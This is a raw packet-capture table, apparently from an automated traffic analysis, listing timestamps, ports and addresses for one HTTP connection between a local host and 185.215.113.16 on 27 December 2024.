Dec 27, 2024 09:00:28.401274920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.401348114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.401362896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.401375055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.401386023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.401412964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.401429892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.401473045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.401499987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.401571035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.402007103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402069092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402090073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.402151108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402163029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402173996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402298927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402301073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.402311087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402322054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402364969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.402710915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402764082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.402767897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402780056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402828932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.402863979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402898073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402909040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402920008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.402976036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.402976036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.563858032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.563925982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.563936949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564006090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564045906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.564045906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.564050913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564063072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564073086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564129114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.564189911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564280033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564300060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564333916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564346075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564419985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564424038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.564424038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.564424038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.564429998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564441919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564502954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.564768076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564815044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564826965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564876080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.564908981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564909935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.564929962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564981937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.564994097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565004110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.565037012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.565083027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565118074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565129995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565216064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.565690041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565771103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565783978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565850973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.565850973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.565905094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565921068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565932989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.565946102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566006899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.566006899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.566051006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566061974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566072941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566102028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.566664934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566706896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566723108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566740990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.566828012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566838980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566848993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566859961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.566879988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.566906929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.567028046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567039013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567050934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567099094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.567624092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567641020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567651987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567687035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.567764044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.567783117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567797899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567809105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567820072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567892075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.567922115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567965984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.567976952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568042040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.568521023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568582058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568593979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568624973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.568716049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.568718910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568730116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568739891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568751097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568763971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.568788052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.568865061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568881035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568896055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.568928957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.569437027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569477081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569489002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569538116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.569612980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569623947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569633961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569645882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569669008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.569813013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.569839001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569849968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569859982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.569894075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.570372105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.570393085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.570409060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.570429087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.570503950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.570519924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.570574045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.570586920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.570596933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.570766926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.570766926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.602540016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602560997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602574110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602660894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602673054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602683067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.602685928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602698088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602804899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602813005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.602823973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602838039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.602896929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.602896929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.602937937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603014946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603027105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603059053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.603063107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603116989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.603267908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603285074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603357077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603430986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603434086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.603444099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603456974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603488922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.603554010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.603560925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603571892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603621006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.603883982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603903055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603914022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.603984118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.604111910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.604130030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.604144096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.604155064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.604696035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.657819033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.765224934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765266895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765278101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765289068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765379906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765383959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.765569925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765582085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765589952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765620947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.765624046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765635014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765646935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765661001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.765688896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.765850067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765892982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765893936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.765908957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.765959978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.766002893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766025066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766141891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.766222954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766396046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766406059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766450882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.766534090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766546011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766632080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.766705036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766741991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766743898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.766752958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766786098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.766896963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766907930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766918898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766930103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.766961098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.767044067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.767055988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767066956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767107964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.767488003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767518044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767528057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767575979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.767656088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767668009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767677069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767688036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767709017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.767860889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767874002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.767884970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.767926931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.768318892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768337011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768362999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768420935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.768420935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.768477917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768488884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768512011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768522978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768553972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.768575907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.768656969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768675089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768686056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.768721104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.769244909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769294024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769304991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769326925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.769361019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.769448042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769459963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769469976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769481897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769504070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.769546032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.769587040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769598007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769608021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.769640923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.770175934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770226002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.770235062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770246983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770297050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.770410061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770421028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770431042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770442963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770462036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.770533085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770546913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.770550966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770561934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.770596027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.771109104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771150112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.771162987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771174908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771241903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.771363974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771373987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771384001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771395922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771462917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.771462917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.771589994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771600962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771610975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.771634102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.772063971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.772099972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.772109985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.772149086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.772149086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.772217989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.772228003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.772272110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.803873062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.803905010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.803915977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804044962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.804054022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804065943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804076910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804089069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804096937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.804145098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.804239988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804251909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804261923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804292917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.804315090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804317951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.804410934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804425001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804459095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804497957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.804512024 CET	49743	80	192.168.2.4	185.215.113.16
